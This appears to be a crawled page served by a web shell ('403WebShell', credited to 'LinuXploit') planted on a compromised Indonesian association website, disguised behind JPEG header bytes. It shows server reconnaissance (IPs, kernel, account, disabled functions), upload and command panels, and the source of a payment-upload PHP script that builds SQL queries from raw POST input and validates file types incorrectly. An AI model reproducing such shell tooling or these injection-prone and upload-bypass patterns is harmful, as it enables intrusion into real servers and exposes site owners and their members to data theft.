JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.45  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/files/bayar_rekadm.php
<?php include "header.php"; ?>

<?php
if($_SERVER['REQUEST_METHOD']=='POST'){

	//variabel untuk menampung inputan dari form
	
	
	//$id 		= $_POST['idnonspp'];
	$npm		= $_POST['npm'];
	$noreg		= $_POST['noreg'];
	$tbayar 	= $_POST['tbayar'];
	$jumlah 	= $_POST['jumlah'];
	$bayar 		= $_POST['bayar'];
	$nmlead 	= $_POST['nmlead'];
	$level   	= $_POST['level'];
	$tujuan   	= $_POST['tujuan'];
	
	
//	$file = isset($_POST['file']) ? $_POST['file'] : null;
	
 $_SESSION['submit'] = true;
	
if (!$_SESSION['submit']){
	
echo "<center> <strong>form sudah disubmit sebelumnya!</strong></center>";
	
	
	header("location:status.php?npm=$npm&noreg=$noreg");

      //   header("location:d_praktek.php?npm=$npm&nmlead=$nmlead&noreg=$_SESSION[kodeid]&ahli=$ahli&view=$view");

  }else {
	
	$_SESSION['submit'] = false;
	
	

 $direktori = 'files/'; //Folder penyimpanan file
 $max_size  = 1000000*3; //Ukuran file maximal 3 mb
 $nama_file = $_FILES['file']['name']; //Nama file yang akan di Upload
 $file_size = $_FILES['file']['size']; //Ukuran file yang akan di Upload
 $nama_tmp  = $_FILES['file']['tmp_name']; //Nama file sementara
 $upload = $direktori.$nama_file; //Memposisikan direktori penyimpanan dan file

	$temp = explode(".", $upload);//cari 
			//$fotobaru = $direktori.$noreg.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak
	        $fotobaru2 = $noreg.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak
	
	//Proses akan dimulai apabila File telah dipilih sebelumnya
if($nama_file == ""){
	
	echo "<script>alert('File Gagal di Upload karena anda tidak memilih file apapun');window.history.go(-1);</script>";
	
}
else{
//Proses upload file jika ukuran lebih kecil dari yang di tentukan
if($file_size <= $max_size)
 {
		 
	//	$namanya= $noreg.$fileName; 
            $fileType = pathinfo($fotobaru, PATHINFO_EXTENSION); 
	 // hanya membolehkan format file tertentu 
            $allowTypes = array('jpg','png','jpeg'); 
            if(in_array($fileType, $allowTypes)){ 
	
	       (move_uploaded_file($nama_tmp, $fotobaru2));

//			$konek->query("INSERT INTO `file` VALUES('','$nama_file', '$fotobaru', '$npm', '$noreg','$nama_file','proses','$nmsurat','','','')") or die(mysqli_error());
				
				//mysqli_query($konek, "INSERT INTO file (name,file,npm,noreg,nmfile,status,nmsurat) 
//			      values('$nama_file', '$fotobaru', '$npm', '$noreg','$nama_file','proses','$nmsurat')");		
//				header("location:data_upl.php?npm=$npm&noreg=$noreg");	
			
		  $query = mysqli_query($konek, "SELECT max(substr(noinv,-6,6)) AS last FROM b_inv3 ");

		  
		  $data = mysqli_fetch_array($query);
						$lastNoBayar	= $data['last'];
						$lastNoUrut		= substr($lastNoBayar, -6, 6);
						$nextNoUrut		= $lastNoUrut + 1;
						$nextNoBayar	= "ADM".$today.sprintf('%06s', $nextNoUrut);
						//tanggal Bayar
						$tglBayar 	= date('Y-m-d');

								    $update = mysqli_query($konek, "UPDATE h_registrasi SET adm='bayar',perihal='$tujuan' WHERE npm='$npm'");

												
													
		mysqli_query($konek, "INSERT INTO b_inv3 (npm,noreg,tgl_bayar,status,bayar,gambar,nominal,nmlead,noinv,level,perihal,kode)
		values('$npm','$noreg','$tbayar','bayar','$bayar','$fotobaru2','$jumlah','$nmlead','$nextNoBayar','$level','$tujuan','3')");

		header("location:status.php?npm=$npm&noreg=$noreg&perihal=$tujuan");
						
		  }else{
			 // echo "File ".$nama_file." Gagal diupload, format !";
	      echo "<script>alert('File Format : jpg, jpeg atau png');window.history.go(-1);</script>";
			}
 }
else
{
 //Jika ukuran file lebih besar dari yang ditentukan
 //echo "File ".$nama_file." Gagal di Upload, karena terlalu besar, batas yang ditentukan adalah : ".$max_size." mb.";
	 echo "<script>alert('Gagal upload MAX File : 3 MB.');window.history.go(-1);</script>";
	//header("location:updown.php?npm=$npm&noreg=$noreg");	
}}}
//else
//{
 //echo "Harus melalui Form Upload sebelum ke halaman ini!";
	//echo "<script>alert('Pilih file bukti transfer dahulu atau file lebih besar dari 3 MB... ');history.go(-1);</script>";
//}	
	
	
	
	
	
	
	//$bukti 	    = $_POST['file'];
	//$per 	    = $_POST['periode'];
   //  $tglexp 	= $_POST['tglexp'];
  
 //    $sisa 	= $_POST['jumlah']-$_POST['tbayar'];
//  
//
// 			 if($per =='1'){
//            			 $tglnext  = date('Y-m-d', strtotime('+365 days', strtotime($tglexp)));
//			 }else if($per =='2') {
//			  			$tglnext  = date('Y-m-d', strtotime('+730 days', strtotime($tglexp)));
//			  }else if($per =='3') {
//			  			$tglnext  = date('Y-m-d', strtotime('+1095  days', strtotime($tglexp)));
//			   }else if($per =='4') {
//			  			$tglnext  = date('Y-m-d', strtotime('+1460  days', strtotime($tglexp)));
//			 }else  {
//						 $tglnext  = date('Y-m-d', strtotime('+1825 days', strtotime($tglexp)));
//			 }
//						
//			//if($sisa =='0'){
//          //  			 $status  = "lunas";
//			// }else  {
//						// $status  = "sisa";
//
// 			//  $date = new DateTime($tgl3);
//			//  $tglnext = $date->format('d-m-Y');
  

		
//			$ekstensi_diperbolehkan	= array('png','jpg','jpeg');
//			$nama = $_FILES['file']['name'];
//			$x = explode('.', $nama);
//			$ekstensi = strtolower(end($x));
//			$ukuran	= $_FILES['file']['size'];
//			$file_tmp = $_FILES['file']['tmp_name'];	
//		
//			$fotobaru = $npm.$nama;
//			//$path = "images/".$fotobaru;
//	         
//	        $fotobaru1 = 'files/'.$npm.round(microtime(true));
//	         $fotobaru2 = $npm.round(microtime(true)).'.'.$ekstensi;
// 
//			if(in_array($ekstensi, $ekstensi_diperbolehkan) === true){
//				if($ukuran < 1000000*3){			
//				
//					
//					//move_uploaded_file($file_tmp, 'files/'.$fotobaru);
//					
//					move_uploaded_file($file_tmp, 'files/'.$fotobaru2);
//					$query = mysqli_query($konek,"INSERT INTO upload VALUES(NULL, '$fotobaru2')");
//				
//					
//					if($query){
//						echo 'FILE BERHASIL DI UPLOAD';
//						//		 echo "<script>alert('Sukses upload... ');history.go(-1);</script>";
//						
//												//$today = date("my");
//		$query = mysqli_query($konek, "SELECT max(substr(noinv,-6,6)) AS last FROM b_inv3 ");
//
//		  
//		  $data = mysqli_fetch_array($query);
//						$lastNoBayar	= $data['last'];
//						$lastNoUrut		= substr($lastNoBayar, -6, 6);
//						$nextNoUrut		= $lastNoUrut + 1;
//						$nextNoBayar	= "ADM".$today.sprintf('%06s', $nextNoUrut);
//						//tanggal Bayar
//						$tglBayar 	= date('Y-m-d');
//		
//		
//				 
//								
//								    $update = mysqli_query($konek, "UPDATE h_registrasi SET adm='bayar',perihal='$tujuan' WHERE npm='$npm'");
//
//												
//													
//		mysqli_query($konek, "INSERT INTO b_inv3 (npm,noreg,tgl_bayar,status,bayar,gambar,nominal,nmlead,noinv,level,perihal,kode)
//		values('$npm','$noreg','$tbayar','bayar','$bayar','$fotobaru2','$jumlah','$nmlead','$nextNoBayar','$level','$tujuan','3')");
//
//		header("location:status.php?npm=$npm&noreg=$noreg&perihal=$tujuan");
//						
//						
//						
//						
//					}else{
//						echo 'GAGAL MENGUPLOAD GAMBAR';
//								 echo "<script>alert('Belum pilih Gambar choose File... ');history.go(-1);</script>";
//						 }
//					}else{
//						echo 'UKURAN FILE TERLALU BESAR';
//							 echo "<script>alert('Gagal file Terlalu besar, MAX  3 MB.. ');history.go(-1);</script>";
//				         }
//					}else{
//						echo "<script>alert('Gagal,Format harus Jpg,Jpeg atau Png...  ');history.go(-1);</script>";
//					}
//					//$query = mysqli_query($konek,"INSERT INTO upload(id_file,nama_file) VALUES(NULL, '$gambar')");
//       //                                           "insert into upload(npm,nama_mhs,kelas,tahunajaran,biaya)values('$nis','$nama','$kelas','$tahun','$biaya')");
//
//
//		//cara sebelumnya			
//	//  if($nama ==''){
//	//	 echo "<script>alert('Upload File Bukti Transfers..!  Click choose File... ');history.go(-1);</script>";
////			echo "Upload Bukti Transfers....";
////		    $_SESSION['submit'] = true;
////		  
//	//	}else{
//						
//						
//						
//						//$today = date("my");
////					$query = mysqli_query($konek, "SELECT max(substr(noinv,-6,6)) AS last FROM b_inv3 ");
////
////		  
////		  $data = mysqli_fetch_array($query);
////						$lastNoBayar	= $data['last'];
////						$lastNoUrut		= substr($lastNoBayar, -6, 6);
////						$nextNoUrut		= $lastNoUrut + 1;
////						$nextNoBayar	= "ADM".$today.sprintf('%06s', $nextNoUrut);
////						//tanggal Bayar
////						$tglBayar 	= date('Y-m-d');
////		
////		
////				 
////								
////								    $update = mysqli_query($konek, "UPDATE h_registrasi SET adm='bayar',perihal='$tujuan' WHERE npm='$npm'");
////
////												
////													
////		mysqli_query($konek, "INSERT INTO b_inv3 (npm,noreg,tgl_bayar,status,bayar,gambar,nominal,nmlead,noinv,level,perihal,kode)
////		values('$npm','$noreg','$tbayar','bayar','$bayar','$fotobaru','$jumlah','$nmlead','$nextNoBayar','$level','$tujuan','3')");
////
////				header("location:status.php?npm=$npm&noreg=$noreg&perihal=$tujuan");
					
		//		}
	
	
	}
	
}	
//}
?>

<?php
//if(isset($_POST['submit'])){
// $direktori = 'files/'; //Folder penyimpanan file
// $max_size  = 1000000*3; //Ukuran file maximal 3 mb
// $nama_file = $_FILES['file']['name']; //Nama file yang akan di Upload
// $file_size = $_FILES['file']['size']; //Ukuran file yang akan di Upload
// $nama_tmp  = $_FILES['file']['tmp_name']; //Nama file sementara
// $upload = $direktori.$nama_file; //Memposisikan direktori penyimpanan dan file
//
//	$temp = explode(".", $upload);//cari 
//			//$fotobaru = $direktori.$noreg.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak
//	        $fotobaru2 = $noreg.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak
//	
//	//Proses akan dimulai apabila File telah dipilih sebelumnya
//if($nama_file == ""){
//	
//	echo "<script>alert('File Gagal di Upload karena anda tidak memilih file apapun');window.history.go(-1);</script>";
//	
//}
//else{
////Proses upload file jika ukuran lebih kecil dari yang di tentukan
//if($file_size <= $max_size)
// {
//		 
//	//	$namanya= $noreg.$fileName; 
//            $fileType = pathinfo($fotobaru, PATHINFO_EXTENSION); 
//	 // hanya membolehkan format file tertentu 
//            $allowTypes = array('jpg','png','jpeg'); 
//            if(in_array($fileType, $allowTypes)){ 
//	
//	       (move_uploaded_file($nama_tmp, $fotobaru2));
//
////			$konek->query("INSERT INTO `file` VALUES('','$nama_file', '$fotobaru', '$npm', '$noreg','$nama_file','proses','$nmsurat','','','')") or die(mysqli_error());
//				
//				//mysqli_query($konek, "INSERT INTO file (name,file,npm,noreg,nmfile,status,nmsurat) 
////			      values('$nama_file', '$fotobaru', '$npm', '$noreg','$nama_file','proses','$nmsurat')");		
////				header("location:data_upl.php?npm=$npm&noreg=$noreg");	
//			
//		  $query = mysqli_query($konek, "SELECT max(substr(noinv,-6,6)) AS last FROM b_inv3 ");
//
//		  
//		  $data = mysqli_fetch_array($query);
//						$lastNoBayar	= $data['last'];
//						$lastNoUrut		= substr($lastNoBayar, -6, 6);
//						$nextNoUrut		= $lastNoUrut + 1;
//						$nextNoBayar	= "ADM".$today.sprintf('%06s', $nextNoUrut);
//						//tanggal Bayar
//						$tglBayar 	= date('Y-m-d');
//
//								    $update = mysqli_query($konek, "UPDATE h_registrasi SET adm='bayar',perihal='$tujuan' WHERE npm='$npm'");
//
//												
//													
//		mysqli_query($konek, "INSERT INTO b_inv3 (npm,noreg,tgl_bayar,status,bayar,gambar,nominal,nmlead,noinv,level,perihal,kode)
//		values('$npm','$noreg','$tbayar','bayar','$bayar','$fotobaru2','$jumlah','$nmlead','$nextNoBayar','$level','$tujuan','3')");
//
//		header("location:status.php?npm=$npm&noreg=$noreg&perihal=$tujuan");
//						
//						
//						
//						
//
//		  }else{
//			 // echo "File ".$nama_file." Gagal diupload, format !";
//	      echo "<script>alert('File Format : jpg, jpeg atau png');window.history.go(-1);</script>";
//			}
// }
//else
//{
// //Jika ukuran file lebih besar dari yang ditentukan
// //echo "File ".$nama_file." Gagal di Upload, karena terlalu besar, batas yang ditentukan adalah : ".$max_size." mb.";
//	 echo "<script>alert('Gagal upload MAX File : 3 MB.');window.history.go(-1);</script>";
//	//header("location:updown.php?npm=$npm&noreg=$noreg");	
//}}}
//else
//{
// echo "Harus melalui Form Upload sebelum ke halaman ini!";
//}
?>  

Youez - 2016 - github.com/yon3zu
LinuXploit